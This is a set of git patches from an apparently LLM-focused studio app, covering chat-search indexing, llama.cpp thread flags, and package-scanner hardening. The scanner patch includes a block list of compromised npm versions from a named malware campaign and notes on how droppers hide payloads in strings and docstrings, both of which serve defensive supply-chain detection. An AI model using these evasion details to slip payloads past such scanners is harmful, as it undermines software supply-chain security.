* Chat search: search user messages first, expand to all only if no hit

User messages are short while assistant replies can be very long, so
matching the whole conversation on every keystroke scales with the
assistant text. Store a separate userSearchText (title plus user
messages) and match it first, expanding to the full per thread
searchText only when nothing matches user text anywhere. Row filtering
moves into selectVisibleChats with cmdk shouldFilter disabled so the
tier choice is deterministic.

* Chat search: include tool calls and sources in the full-text tier

extractText now also pulls reasoning/thinking, tool call name/args/result
and cited source title/url, so the expanded full-conversation tier finds
keywords that only appear in tool activity. Drop the now-unused preview
field since search no longer matches on it.

* Chat search: drop base64 image/audio payloads from the index

extractText stringified tool-call results wholesale, so an
image_generation result (image_b64) or audio payload would pour megabytes
of base64 into searchText and get lowercased on every rebuild. Add
searchableText, which keeps readable tool args/results (tool name, prompt,
text) but skips binary keys and strips data URLs, long base64 runs and the
__IMAGES__ suffix.
---
 .../chat/components/chat-search-dialog.tsx    | 53 ++++++++----
 .../chat/hooks/use-chat-search-index.ts       | 80 ++++++++++++++-----
 2 files changed, 97 insertions(+), 36 deletions(-)

diff --git a/studio/frontend/src/features/chat/components/chat-search-dialog.tsx b/studio/frontend/src/features/chat/components/chat-search-dialog.tsx
index e6f51e2da8..cbd02d2bae 100644
--- a/studio/frontend/src/features/chat/components/chat-search-dialog.tsx
+++ b/studio/frontend/src/features/chat/components/chat-search-dialog.tsx
@@ -12,23 +12,32 @@ import { Cancel01Icon, Message01Icon, Search01Icon } from "@hugeicons/core-free-
 import { HugeiconsIcon } from "@hugeicons/react";
 import { useNavigate } from "@tanstack/react-router";
 import { Command as CommandPrimitive } from "cmdk";
-import { useEffect } from "react";
+import { useEffect, useMemo, useState } from "react";
 import { useChatSearchIndex } from "../hooks/use-chat-search-index";
 import { useChatSearchStore } from "../stores/chat-search-store";
 
-// cmdk's default fuzzy scorer keeps non-matching rows visible (issue #5572), so
-// require every whitespace token to be a substring of the item's keywords.
-// `value` is the unique thread id (cmdk selection); title/preview come via keywords.
-export function chatSearchFilter(
-  _value: string,
-  search: string,
-  keywords?: string[],
-): number {
-  const query = search.trim().toLowerCase();
-  if (query === "") return 1;
-  const haystack = (keywords ?? []).join(" ").toLowerCase();
-  const tokens = query.split(/\s+/);
-  return tokens.every((token) => haystack.includes(token)) ? 1 : 0;
+// Lowercased whitespace tokens of the query (haystacks are lowercased in the index).
+function queryTokens(search: string): string[] {
+  return search.trim().toLowerCase().split(/\s+/).filter(Boolean);
+}
+
+function haystackMatches(haystack: string, tokens: string[]): boolean {
+  return tokens.every((token) => haystack.includes(token));
+}
+
+// We filter rows here (cmdk runs with shouldFilter=false) so we control the
+// two-tier behavior and avoid cmdk's fuzzy scorer keeping non-matches visible
+// (issue #5572): every whitespace token must be a substring. User messages are
+// searched first; expand to the full conversation only when user text alone
+// matches nothing anywhere (user messages are short, assistant replies can be huge).
+export function selectVisibleChats<
+  T extends { userSearchText: string; searchText: string },
+>(items: T[], search: string): T[] {
+  const tokens = queryTokens(search);
+  if (tokens.length === 0) return items;
+  const userHits = items.filter((it) => haystackMatches(it.userSearchText, tokens));
+  if (userHits.length > 0) return userHits;
+  return items.filter((it) => haystackMatches(it.searchText, tokens));
 }
 
 function formatRelative(createdAt: number): string {
@@ -46,6 +55,16 @@ export function ChatSearchDialog() {
   const close = useChatSearchStore((s) => s.close);
   const navigate = useNavigate();
   const { items, loading } = useChatSearchIndex(isOpen);
+  const [query, setQuery] = useState("");
+
+  const visibleItems = useMemo(
+    () => selectVisibleChats(items, query),
+    [items, query],
+  );
+
+  useEffect(() => {
+    if (!isOpen) setQuery("");
+  }, [isOpen]);
 
   useEffect(() => {
     const handler = (e: KeyboardEvent) => {
@@ -67,7 +86,7 @@ export function ChatSearchDialog() {
       className="chat-search-surface rounded-3xl! top-1/2 -translate-y-1/2 w-[635px] max-w-[calc(100%-2rem)] gap-0 p-0 ring-0 sm:max-w-[635px]"
       overlayClassName="bg-transparent"
     >
-      <Command className="rounded-3xl p-0" filter={chatSearchFilter}>
+      <Command className="rounded-3xl p-0" shouldFilter={false}>
         <div className="flex items-center gap-3 border-b border-border/40 px-4 py-3">
           <HugeiconsIcon
             icon={Search01Icon}
@@ -76,6 +95,7 @@ export function ChatSearchDialog() {
           />
           <CommandPrimitive.Input
             placeholder="Search chats..."
+            onValueChange={setQuery}
             className="flex-1 bg-transparent text-sm outline-none placeholder:text-muted-foreground"
           />
           <button
@@ -96,11 +116,10 @@ export function ChatSearchDialog() {
                 : "No chats match."}
           </CommandEmpty>
           <CommandGroup className="p-0">
-            {items.map((item) => (
+            {visibleItems.map((item) => (
               <CommandPrimitive.Item
                 key={item.id}
                 value={item.id}
-                keywords={[item.title, item.preview]}
                 onSelect={() => {
                   navigate({
                     to: "/chat",
diff --git a/studio/frontend/src/features/chat/hooks/use-chat-search-index.ts b/studio/frontend/src/features/chat/hooks/use-chat-search-index.ts
index dc9226fb8e..841f2c2a2f 100644
--- a/studio/frontend/src/features/chat/hooks/use-chat-search-index.ts
+++ b/studio/frontend/src/features/chat/hooks/use-chat-search-index.ts
@@ -13,37 +13,72 @@ export interface ChatSearchItem {
   type: "single" | "compare";
   id: string;
   title: string;
-  preview: string;
+  // Lowercased title + user messages only (short); searched first.
+  userSearchText: string;
+  // Lowercased title + every message (incl. tool calls); fallback when user
+  // text matches nothing. Prebuilt so filtering never re-lowercases per keystroke.
+  searchText: string;
   createdAt: number;
   projectId?: string | null;
 }
 
 const THREAD_LIMIT = 200;
-const PREVIEW_MAX = 120;
 const SEARCH_REBUILD_DEBOUNCE_MS = 300;
 
+// Keys whose values are base64 image/audio payloads, not searchable text.
+const BINARY_KEY = /b64|base64|^(images?|audio|video)$/i;
+
+// Readable text from tool args/results, dropping base64 image/audio blobs so
+// they never bloat the index (object fields by key, plus data URLs / long
+// base64 runs and the "__IMAGES__" suffix inside strings).
+function searchableText(value: unknown, depth = 0): string {
+  if (typeof value === "string") {
+    const cut = value.indexOf("\n__IMAGES__:");
+    return (cut === -1 ? value : value.slice(0, cut))
+      .replace(/data:[^;,\s]+;base64,[A-Za-z0-9+/=]+/g, " ")
+      .replace(/[A-Za-z0-9+/]{120,}={0,2}/g, " ");
+  }
+  if (value == null || depth > 4) return "";
+  if (Array.isArray(value)) {
+    return value.map((v) => searchableText(v, depth + 1)).join(" ");
+  }
+  if (typeof value === "object") {
+    const out: string[] = [];
+    for (const [k, v] of Object.entries(value)) {
+      if (!BINARY_KEY.test(k)) out.push(searchableText(v, depth + 1));
+    }
+    return out.join(" ");
+  }
+  return "";
+}
+
+// Pull searchable text from a message: plain text, reasoning/thinking, tool
+// calls (name + args + result) and cited sources (title + url).
 function extractText(message: MessageRecord): string {
   const content = message.content;
   if (!Array.isArray(content)) return "";
   const parts: string[] = [];
   for (const part of content) {
     if (!part || typeof part !== "object") continue;
-    const p = part as { type?: string; text?: unknown };
-    if (
-      (p.type === "text" || p.type === "reasoning") &&
-      typeof p.text === "string"
-    ) {
+    const p = part as Record<string, unknown>;
+    if ((p.type === "text" || p.type === "reasoning") && typeof p.text === "string") {
       parts.push(p.text);
+    } else if (p.type === "thinking") {
+      const t = typeof p.thinking === "string" ? p.thinking : p.text;
+      if (typeof t === "string") parts.push(t);
+    } else if (p.type === "tool-call") {
+      if (typeof p.toolName === "string") parts.push(p.toolName);
+      const args = searchableText(typeof p.argsText === "string" ? p.argsText : p.args);
+      if (args) parts.push(args);
+      const result = searchableText(p.result);
+      if (result) parts.push(result);
+    } else if (p.type === "source") {
+      for (const v of [p.title, p.url]) if (typeof v === "string") parts.push(v);
     }
   }
   return parts.join(" ").replace(/\s+/g, " ").trim();
 }
 
-function truncate(text: string, max: number): string {
-  if (text.length <= max) return text;
-  return `${text.slice(0, max).trimEnd()}…`;
-}
-
 async function buildIndex(): Promise<ChatSearchItem[]> {
   const active = (
     await listStoredChatThreads({ includeArchived: false })
@@ -51,7 +86,10 @@ async function buildIndex(): Promise<ChatSearchItem[]> {
 
   const itemThreadIds = new Map<
     string,
-    { item: Omit<ChatSearchItem, "preview">; threadIds: string[] }
+    {
+      item: Omit<ChatSearchItem, "searchText" | "userSearchText">;
+      threadIds: string[];
+    }
   >();
   const seenPairs = new Set<string>();
 
@@ -125,15 +163,19 @@ async function buildIndex(): Promise<ChatSearchItem[]> {
     }
     merged.sort((a, b) => b.createdAt - a.createdAt);
 
-    let preview = "";
+    // Two tiers: user messages (short, searched first) and the full
+    // conversation incl. tool calls (fallback when user text matches nothing).
+    const userParts: string[] = [item.title];
+    const allParts: string[] = [item.title];
     for (const m of merged) {
       const text = extractText(m);
-      if (text) {
-        preview = truncate(text, PREVIEW_MAX);
-        break;
-      }
+      if (!text) continue;
+      allParts.push(text);
+      if (m.role === "user") userParts.push(text);
     }
-    results.push({ ...item, preview });
+    const userSearchText = userParts.join(" ").toLowerCase();
+    const searchText = allParts.join(" ").toLowerCase();
+    results.push({ ...item, userSearchText, searchText });
   }
 
   results.sort((a, b) => b.createdAt - a.createdAt);

From 5a38447b25da0b3faab644f7eb6c3f7b557f73e8 Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Tue, 16 Jun 2026 01:32:19 -0700
Subject: [PATCH 26/91] Studio: omit --threads when unset so llama.cpp picks
 physical cores (#5894)

* Studio: omit --threads when unset so llama.cpp picks physical cores

Studio passed --threads -1 when no thread count was set. The intent was physical cores, but an explicit --threads -1 makes llama.cpp's arg parser resolve it to hardware_concurrency() (every hyperthread), which contends on the memory bus and slows CPU and hybrid decode (a user saw about 60-75 fall to about 20-30 tok/s under CPU offload). Leaving --threads unset keeps n_threads at -1, which llama.cpp resolves to physical cores via common_cpu_get_num_math(). Omit the flag when unset; still pin it for an explicit override and the Windows full-offload OpenMP cap.

* Studio: drop inherited LLAMA_ARG_THREADS when omitting --threads

Omitting --threads relies on llama.cpp resolving physical cores via common_cpu_get_num_math. But the child inherits os.environ and llama.cpp also reads --threads from LLAMA_ARG_THREADS, which routes through the arg handler and maps <=0 to hardware_concurrency. So an ambient LLAMA_ARG_THREADS would silently override the physical-core default. Scrub it from the child env only when we omit the flag.
---
 studio/backend/core/inference/llama_cpp.py | 23 ++++++++++++++--------
 1 file changed, 15 insertions(+), 8 deletions(-)

diff --git a/studio/backend/core/inference/llama_cpp.py b/studio/backend/core/inference/llama_cpp.py
index 59628c9e46..bd6bdad8c6 100644
--- a/studio/backend/core/inference/llama_cpp.py
+++ b/studio/backend/core/inference/llama_cpp.py
@@ -4166,19 +4166,21 @@ class LlamaCppBackend:
                 threads_overridden = _extra_args_set_any_flag(extra_args, _THREAD_OVERRIDE_FLAGS)
                 full_offload_tuning_active = fully_gpu_offloaded and not offload_overridden
 
-                # Pass --threads explicitly so we do not inherit llama-server
-                # defaults. Windows + full offload caps at 2 to stop OpenMP
-                # spin-wait burning CPU during GPU decode. User pass-through
-                # offload/thread flags keep last-wins semantics. #5692.
+                # Thread count: an unset --threads makes llama.cpp pick physical
+                # cores (common_cpu_get_num_math), but an explicit --threads -1
+                # resolves to hardware_concurrency() (every hyperthread), which
+                # contends on the memory bus and slows CPU / hybrid decode. So
+                # omit the flag when unset and only pin it for an explicit
+                # override or the Windows full-offload OpenMP cap. Pass-through
+                # thread flags in extra_args still win (appended last). #5692
                 if (
                     sys.platform == "win32"
                     and full_offload_tuning_active
                     and not threads_overridden
                 ):
-                    threads_arg = 2
-                else:
-                    threads_arg = n_threads if n_threads is not None else -1
-                cmd.extend(["--threads", str(threads_arg)])
+                    cmd.extend(["--threads", "2"])
+                elif n_threads is not None and n_threads > 0:
+                    cmd.extend(["--threads", str(n_threads)])
 
                 # Enable Jinja chat template rendering
                 cmd.extend(["--jinja"])
@@ -4358,6 +4360,11 @@ class LlamaCppBackend:
 
                 # Library paths so llama-server finds its shared libs and CUDA DLLs.
                 env = self._llama_server_env_for_binary(binary)
+                # Omitting --threads relies on llama.cpp's physical-core default, so
+                # drop an inherited LLAMA_ARG_THREADS that would otherwise feed the
+                # arg handler and silently force hardware_concurrency(). #5692
+                if "--threads" not in cmd:
+                    env.pop("LLAMA_ARG_THREADS", None)
 
                 # Windows + full offload: PASSIVE OMP + 2 threads stop
                 # spin-wait burning CPU. CPU/partial offload keeps default

From 21612c2e32197f028dbaca65b3d357e175bf627a Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Tue, 16 Jun 2026 01:46:15 -0700
Subject: [PATCH 27/91] Package scanners: cut false positives and make the CI
 gate blocking (#6355)

* Package scanners: cut false positives and make the CI gate blocking

scan_packages.py and scan_npm_packages.py red-failed on legitimate
library code, so the security-audit steps were left advisory. Reduce
the false positives at the source and flip both gates to blocking.

scan_packages.py:
- Scan code only: blank comments and bare docstrings/doctests before
  matching (line numbers preserved), so prose and >>> examples cannot
  trip a finding.
- Drop the platform.system() branch from the anti-analysis regex (under
  DOTALL it matched across the whole file, so every cross-platform
  library tripped it) and fix the dead /proc/self/status alternative.
- Add a reviewed baseline allowlist (scan_packages_baseline.json) keyed
  on (package, basename, check): only non-baselined CRITICAL/HIGH exit
  1, and a new kind of finding in a listed file still fails.
- sdist fallback: when --with-deps cannot resolve a shard (a sdist-only
  package or a version conflict), drop to per-spec and fetch the raw
  sdist from the PyPI JSON API (no pip build, no setup.py), so every
  package is still scanned and no shard exits 2.

scan_npm_packages.py:
- Mirror the code-only JS/TS scanning (blank // and /* */ comments,
  string/template/regex aware) and the baseline allowlist. The npm
  corpus is clean today, so the baseline is empty.

security-audit.yml:
- Flip both scan steps to blocking (SCAN_ENFORCE=1), capturing the
  scanner exit via PIPESTATUS so tee does not mask it.

tests/security: add coverage for the strip, baseline and sdist paths.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Address review feedback on the package scanners

- Do not blank f-strings during code-only scanning (they evaluate at
  import); and when a file uses exec/eval, rescan the original for
  payload carriers hidden in a docstring/string so exec(__doc__) style
  payloads stay visible.
- sdist fallback: recover transitive deps with their version specifier
  (fetch the pinned version, not latest), and recover deps in the
  --no-deps branch too so a sdist-only transitive dependency is still
  scanned instead of silently skipped.
- Baseline: key by package-relative path, not basename, so a future
  same-named file in another directory is not auto-suppressed.
  Regenerated the baseline accordingly.

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
---
 .github/workflows/security-audit.yml     |   58 +-
 scripts/scan_npm_packages.py             |  372 +++++-
 scripts/scan_npm_packages_baseline.json  |    5 +
 scripts/scan_packages.py                 |  725 ++++++++++--
 scripts/scan_packages_baseline.json      | 1329 ++++++++++++++++++++++
 tests/security/test_scan_npm_packages.py |  189 +++
 tests/security/test_scan_packages.py     |  352 ++++++
 7 files changed, 2951 insertions(+), 79 deletions(-)
 create mode 100644 scripts/scan_npm_packages_baseline.json
 create mode 100644 scripts/scan_packages_baseline.json

diff --git a/.github/workflows/security-audit.yml b/.github/workflows/security-audit.yml
index 33ac3b9bd8..0ef2ad1e9d 100644
--- a/.github/workflows/security-audit.yml
+++ b/.github/workflows/security-audit.yml
@@ -434,7 +434,7 @@ jobs:
 
       # ─────────────────────────────────────────────────────────────
       # Semgrep: design-flaw detection (catches what regex-pattern
-      # scanning of malicious authors cannot — first-party logic bugs
+      # scanning of malicious authors cannot, e.g. first-party logic bugs
       # like langchain-core CVE-2025-68664 dumps/dumpd injection,
       # n8n CVE-2025-68668 _pyodide.eval_code sandbox escape, marimo
       # CVE-2026-39987 unauth WebSocket).
@@ -849,10 +849,13 @@ jobs:
           grep -q "Standalone pre-install package scanner" scripts/scan_packages.py
 
       - name: Scan declared + transitive Python deps
-        # scan_packages.py exits 1 on CRITICAL/HIGH findings, 0 on
-        # clean. We swallow the exit because the baseline isn't
-        # triaged yet; surface the findings in the workflow summary.
-        # Drop continue-on-error after the first clean run on main.
+        # scan_packages.py exits 1 on NON-baselined CRITICAL/HIGH
+        # findings, 0 otherwise. It scans code-only (docstrings and
+        # comments are blanked first) and suppresses reviewed
+        # known-good findings via scripts/scan_packages_baseline.json,
+        # so legitimate-library noise no longer red-fails the gate.
+        # The step stays advisory until SCAN_ENFORCE=1 (see env below);
+        # then PIPESTATUS propagates the scanner's exit code.
         #
         # `--with-deps` walks PyPI metadata to enumerate every
         # transitive dep the declared set would install, then scans
@@ -869,6 +872,14 @@ jobs:
         # downloads in exchange for wall-clock parallelism.
         env:
           SHARD_FILES: ${{ matrix.shard.files }}
+          # Enforcement switch. "1" = blocking: a non-baselined CRITICAL/HIGH
+          # fails the build. scan_packages.py scans code-only (docstrings/comments
+          # stripped), fetches sdist-only packages directly from PyPI (no build)
+          # so every shard resolves, and honors the reviewed allowlist at
+          # scripts/scan_packages_baseline.json, so only NON-baselined
+          # CRITICAL/HIGH cause its exit 1. The committed baseline makes all three
+          # shards exit 0 today; set this back to "0" to return to advisory.
+          SCAN_ENFORCE: "1"
         run: |
           set +e
           mkdir -p logs
@@ -884,12 +895,14 @@ jobs:
             fi
           done
           echo "::endgroup::"
+          rc=0
           if [ ${#REQ_ARGS[@]} -eq 0 ]; then
             echo "[security-audit] shard ${{ matrix.shard.id }}: no PyPI specs, nothing to scan" \
               | tee "$LOG"
           else
             python scripts/scan_packages.py --with-deps "${REQ_ARGS[@]}" \
               2>&1 | tee "$LOG"
+            rc=${PIPESTATUS[0]}
           fi
           {
             echo "## scan_packages :: shard ${{ matrix.shard.id }}"
@@ -897,11 +910,19 @@ jobs:
             echo "### Files in this shard"
             for f in $SHARD_FILES; do echo "- audit-reqs/$f.txt"; done
             echo
+            echo "scan_packages.py exit code: $rc (enforce=$SCAN_ENFORCE)"
+            echo
             echo '### Findings (tail)'
             echo '```'
             tail -200 "$LOG"
             echo '```'
           } >> "$GITHUB_STEP_SUMMARY"
+          # Advisory by default; blocking once SCAN_ENFORCE=1 and the baseline
+          # is committed. PIPESTATUS is captured above so `tee` does not mask the
+          # scanner's exit code.
+          if [ "$SCAN_ENFORCE" = "1" ]; then
+            exit "$rc"
+          fi
 
       - uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a  # v7.0.1
         if: always()
@@ -975,24 +996,37 @@ jobs:
           python3 -c "import ast; ast.parse(open('scripts/scan_npm_packages.py').read())"
 
       - name: Scan npm tarballs (declared + transitive, no install)
-        # The script exits 1 on HIGH/CRITICAL findings; we capture the
-        # full log and surface it in the step summary either way. It
-        # never runs `npm install`, never executes anything from a
-        # downloaded tarball, and only fetches from registry.npmjs.org.
-        # Initially non-blocking so the baseline can settle; drop
-        # continue-on-error once the baseline is clean for a week.
+        # scan_npm_packages.py exits 1 on NON-baselined HIGH/CRITICAL
+        # findings, 0 otherwise. It scans code-only (JS/TS comments are
+        # blanked first) and honors a reviewed allowlist at
+        # scripts/scan_npm_packages_baseline.json. It never runs
+        # `npm install`, never executes anything from a downloaded
+        # tarball, and only fetches from registry.npmjs.org. The npm
+        # corpus is clean (the baseline is empty), so the gate is
+        # enforcing (SCAN_ENFORCE=1) and any new finding fails the build.
+        env:
+          SCAN_ENFORCE: "1"
         run: |
-          set -o pipefail
+          set +e
           LOG=logs-scan-npm.txt
           python3 scripts/scan_npm_packages.py 2>&1 | tee "$LOG"
+          rc=${PIPESTATUS[0]}
           {
             echo "## scan_npm_packages"
             echo
+            echo "scan_npm_packages.py exit code: $rc (enforce=$SCAN_ENFORCE)"
+            echo
             echo '### Findings (tail)'
             echo '```'
             tail -300 "$LOG"
             echo '```'
           } >> "$GITHUB_STEP_SUMMARY"
+          # Blocking: the npm corpus is clean, so any non-baselined
+          # HIGH/CRITICAL is new and should fail the build. PIPESTATUS is
+          # captured above so `tee` does not mask the scanner's exit code.
+          if [ "$SCAN_ENFORCE" = "1" ]; then
+            exit "$rc"
+          fi
 
       - uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a  # v7.0.1
         if: always()
diff --git a/scripts/scan_npm_packages.py b/scripts/scan_npm_packages.py
index fe90afa7e6..c1639ab38e 100644
--- a/scripts/scan_npm_packages.py
+++ b/scripts/scan_npm_packages.py
@@ -412,7 +412,7 @@ BLOCKED_NPM_VERSIONS: dict[str, set[str]] = {
     "@uipath/functions-tool": {"1.0.1"},
     "@uipath/access-policy-sdk": {"0.3.1"},
     "@uipath/platform-tool": {"1.0.1"},
-    # Mini Shai-Hulud May-12 wave: @mistralai/* (npm) — separate from PyPI mistralai
+    # Mini Shai-Hulud May-12 wave: @mistralai/* (npm), separate from PyPI mistralai
     # (https://www.aikido.dev/blog/mini-shai-hulud-is-back-tanstack-compromised).
     "@mistralai/mistralai": {"2.2.2", "2.2.3", "2.2.4"},
     "@mistralai/mistralai-gcp": {"1.7.1", "1.7.2", "1.7.3"},
@@ -916,6 +916,204 @@ def _evidence(
 LIFECYCLE_HOOKS = ("preinstall", "install", "postinstall", "prepare")
 
 
+# ─────────────────────────────────────────────────────────────────────
+# Code-only scanning for JS/TS sources. Blank `//` and `/* */` comments
+# before matching (the top FP source: scary strings in JSDoc/changelog
+# comments), tracking string/template/regex context so a `//` inside
+# "http://..." is not mistaken for a comment. Strings are NOT blanked
+# (droppers hide payloads there). Fail open on lexer confusion: the raw
+# text is still scanned. JS sibling of scan_packages.py::_strip_noncode.
+# ─────────────────────────────────────────────────────────────────────
+_JS_FAMILY_SUFFIXES = (".js", ".mjs", ".cjs", ".ts", ".tsx", ".jsx")
+
+# Keywords after which a `/` begins a regex literal (not division).
+_REGEX_PRECEDING_KEYWORDS = frozenset(
+    {
+        "return",
+        "typeof",
+        "instanceof",
+        "in",
+        "of",
+        "new",
+        "delete",
+        "void",
+        "throw",
+        "yield",
+        "await",
+        "do",
+        "else",
+        "case",
+    }
+)
+_IDENT_CHARS = frozenset("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_$")
+
+
+def _slash_is_regex(prev_tok: str) -> bool:
+    """Disambiguate a lone ``/``: regex literal vs division operator.
+
+    Biased toward regex when ambiguous -- regex state never blanks, so a
+    wrong guess only costs FP reduction (or a fail-open), never a missed
+    detection.
+    """
+    if prev_tok == "":
+        return True  # start of file -> expression position
+    if prev_tok in _REGEX_PRECEDING_KEYWORDS:
+        return True
+    last = prev_tok[-1]
+    if last.isalnum() or last in "_$)]":
+        return False  # previous token ends a value -> division
+    return True  # operators, punctuation, `{`, `}` -> regex (safe bias)
+
+
+def _strip_js_noncode(text: str) -> str:
+    """Blank JS/TS comments, preserving byte geometry. Fail-open on confusion."""
+    if "//" not in text and "/*" not in text:
+        return text  # nothing to strip
+    n = len(text)
+    out = list(text)
+    nl = ("\n", "\r")
+
+    def _blank(a: int, b: int) -> None:
+        for k in range(a, b):
+            if out[k] not in nl:
+                out[k] = " "
+
+    state = "code"
+    prev_tok = ""
+    tmpl_stack: list[str] = []
+    i = 0
+    try:
+        while i < n:
+            c = text[i]
+            nxt = text[i + 1] if i + 1 < n else ""
+            if state == "code":
+                if c == "/" and nxt == "/":
+                    start = i
+                    i += 2
+                    while i < n and text[i] not in nl:
+                        i += 1
+                    _blank(start, i)
+                    continue
+                if c == "/" and nxt == "*":
+                    start = i
+                    i += 2
+                    closed = False
+                    while i < n:
+                        if text[i] == "*" and i + 1 < n and text[i + 1] == "/":
+                            i += 2
+                            closed = True
+                            break
+                        i += 1
+                    if not closed:
+                        return text  # unterminated block comment
+                    _blank(start, i)
+                    continue
+                if c == "'":
+                    state = "sq"
+                    i += 1
+                    continue
+                if c == '"':
+                    state = "dq"
+                    i += 1
+                    continue
+                if c == "`":
+                    state = "tmpl"
+                    i += 1
+                    continue
+                if c == "/":
+                    if _slash_is_regex(prev_tok):
+                        state = "regex"
+                        i += 1
+                        continue
+                    prev_tok = "/"
+                    i += 1
+                    continue
+                if c.isspace():
+                    i += 1
+                    continue
+                if c in _IDENT_CHARS:
+                    j = i
+                    while j < n and text[j] in _IDENT_CHARS:
+                        j += 1
+                    prev_tok = text[i:j]
+                    i = j
+                    continue
+                if c == "}" and tmpl_stack:
+                    state = tmpl_stack.pop()
+                    i += 1
+                    continue
+                prev_tok = c
+                i += 1
+                continue
+            elif state in ("sq", "dq"):
+                q = "'" if state == "sq" else '"'
+                if c == "\\":
+                    i += 2
+                    continue
+                if c == q:
+                    state = "code"
+                    prev_tok = "_v"
+                    i += 1
+                    continue
+                if c in nl:
+                    return text  # unterminated string literal
+                i += 1
+                continue
+            elif state == "tmpl":
+                if c == "\\":
+                    i += 2
+                    continue
+                if c == "`":
+                    state = "code"
+                    prev_tok = "_v"
+                    i += 1
+                    continue
+                if c == "$" and nxt == "{":
+                    tmpl_stack.append("tmpl")
+                    state = "code"
+                    prev_tok = "{"
+                    i += 2
+                    continue
+                i += 1
+                continue
+            elif state == "regex":
+                if c == "\\":
+                    i += 2
+                    continue
+                if c == "[":
+                    state = "regex_cc"
+                    i += 1
+                    continue
+                if c == "/":
+                    state = "code"
+                    prev_tok = "_v"
+                    i += 1
+                    continue
+                if c in nl:
+                    return text  # unterminated regex literal
+                i += 1
+                continue
+            elif state == "regex_cc":
+                if c == "\\":
+                    i += 2
+                    continue
+                if c == "]":
+                    state = "regex"
+                    i += 1
+                    continue
+                if c in nl:
+                    return text
+                i += 1
+                continue
+            else:
+                return text
+        if state != "code" or tmpl_stack:
+            return text  # unterminated construct -> fail open
+    except Exception:
+        return text
+    return "".join(out)
+
+
 def scan_package_json(pkg: PackageEntry, rel: str, text: str) -> list[Finding]:
     findings: list[Finding] = []
     try:
@@ -1042,6 +1240,14 @@ def _host_in_outbound_context(text: str, host: str) -> bool:
 def scan_text_blob(pkg: PackageEntry, rel: str, text: str) -> list[Finding]:
     findings: list[Finding] = []
 
+    # Code-only scanning for JS/TS sources: blank comments before matching so
+    # an IOC host / `eval(atob)` example / campaign marker quoted in a comment
+    # cannot manufacture a false positive. Assigned string literals (where real
+    # droppers hide base64 payloads) are preserved. Non-JS text (json/yaml/sh/
+    # py/html) is scanned as-is -- this lexer only understands JS comments.
+    if rel.lower().endswith(_JS_FAMILY_SUFFIXES):
+        text = _strip_js_noncode(text)
+
     # IOC substrings (literal, case-sensitive).
     for needle, (sev, why) in KNOWN_IOC_STRINGS.items():
         if needle in text:
@@ -1236,6 +1442,105 @@ def scan_one(pkg: PackageEntry, workspace: Path) -> tuple[list[Finding], str | N
             pass
 
 
+# ─────────────────────────────────────────────────────────────────────
+# Baseline allowlist: triaged known-good HIGH/CRITICAL findings so the gate
+# can enforce without red-failing on rare legitimate-library behavior.
+# Matched on ``(normalized package, basename(filename), pattern)`` -- not
+# evidence text -- so a version bump does not reopen a finding, but a *new*
+# kind of finding in a listed file is a different pattern and still fails.
+# Mirrors scan_packages.py. Regenerate with ``--write-baseline``.
+# ─────────────────────────────────────────────────────────────────────
+
+_DEFAULT_BASELINE_PATH = str(Path(__file__).resolve().parent / "scan_npm_packages_baseline.json")
+
+
+def _norm_pkg_name(display: str) -> str:
+    """``@scope/pkg@1.2.3`` / ``pkg@1.2.3`` -> name without the version.
+
+    The version is the LAST ``@``-separated field; a leading ``@`` (scope)
+    is preserved. Lower-cased (npm names are case-insensitive). Sentinels
+    like ``<root>`` / ``<lockfile>`` pass through unchanged.
+    """
+    s = (display or "").strip()
+    at = s.rfind("@")
+    if at > 0:  # >0 so a leading @scope is not treated as the version sep
+        s = s[:at]
+    return s.lower()
+
+
+def _finding_key(f: Finding) -> tuple[str, str, str]:
+    """Stable allowlist key: normalized package, file basename, pattern."""
+    return (_norm_pkg_name(f.package), os.path.basename(f.filename), f.pattern)
+
+
+def _load_baseline(path: str) -> set[tuple[str, str, str]]:
+    """Load an allowlist JSON into a set of match keys. Missing file -> empty."""
+    try:
+        with open(path, "r", encoding = "utf-8") as fh:
+            data = json.load(fh)
+    except FileNotFoundError:
+        return set()
+    except (OSError, json.JSONDecodeError) as exc:
+        print(f"  [WARN] could not read baseline {path}: {exc}", file = sys.stderr)
+        return set()
+    keys: set[tuple[str, str, str]] = set()
+    for e in data.get("entries", []):
+        try:
+            keys.add((_norm_pkg_name(e["package"]), os.path.basename(e["file"]), e["pattern"]))
+        except (KeyError, TypeError):
+            continue
+    return keys
+
+
+def _write_baseline(path: str, findings: list[Finding], threshold_rank: int) -> int:
+    """Persist at-or-above-threshold findings as an allowlist for triage."""
+    entries = []
+    seen: set[tuple[str, str, str]] = set()
+    for f in sorted(findings, key = lambda f: (_SEVERITY_RANK[f.severity], f.package)):
+        if _SEVERITY_RANK[f.severity] > threshold_rank:
+            continue
+        key = _finding_key(f)
+        if key in seen:
+            continue
+        seen.add(key)
+        entries.append(
+            {
+                "package": _norm_pkg_name(f.package),
+                "file": os.path.basename(f.filename),
+                "pattern": f.pattern,
+                "severity": f.severity,
+                "evidence": (f.evidence or f.detail)[:240],
+            }
+        )
+    doc = {
+        "_comment": (
+            "scan_npm_packages.py allowlist. Each entry is a HIGH/CRITICAL "
+            "finding manually judged benign. Matched on (package, "
+            "basename(file), pattern); evidence/severity are for review only. "
+            "Regenerate with --write-baseline AFTER reviewing every line."
+        ),
+        "version": 1,
+        "entries": entries,
+    }
+    with open(path, "w", encoding = "utf-8") as fh:
+        json.dump(doc, fh, indent = 2, sort_keys = False)
+        fh.write("\n")
+    print(f"  Wrote {len(entries)} baseline entr(y/ies) to {path}")
+    return len(entries)
+
+
+def _partition_baseline(
+    findings: list[Finding], baseline: set[tuple[str, str, str]]
+) -> tuple[list[Finding], list[Finding]]:
+    """Split findings into (active, suppressed) by allowlist membership."""
+    if not baseline:
+        return list(findings), []
+    active, suppressed = [], []
+    for f in findings:
+        (suppressed if _finding_key(f) in baseline else active).append(f)
+    return active, suppressed
+
+
 def main(argv: list[str] | None = None) -> int:
     parser = argparse.ArgumentParser(
         description = "Pre-install npm tarball content scanner.",
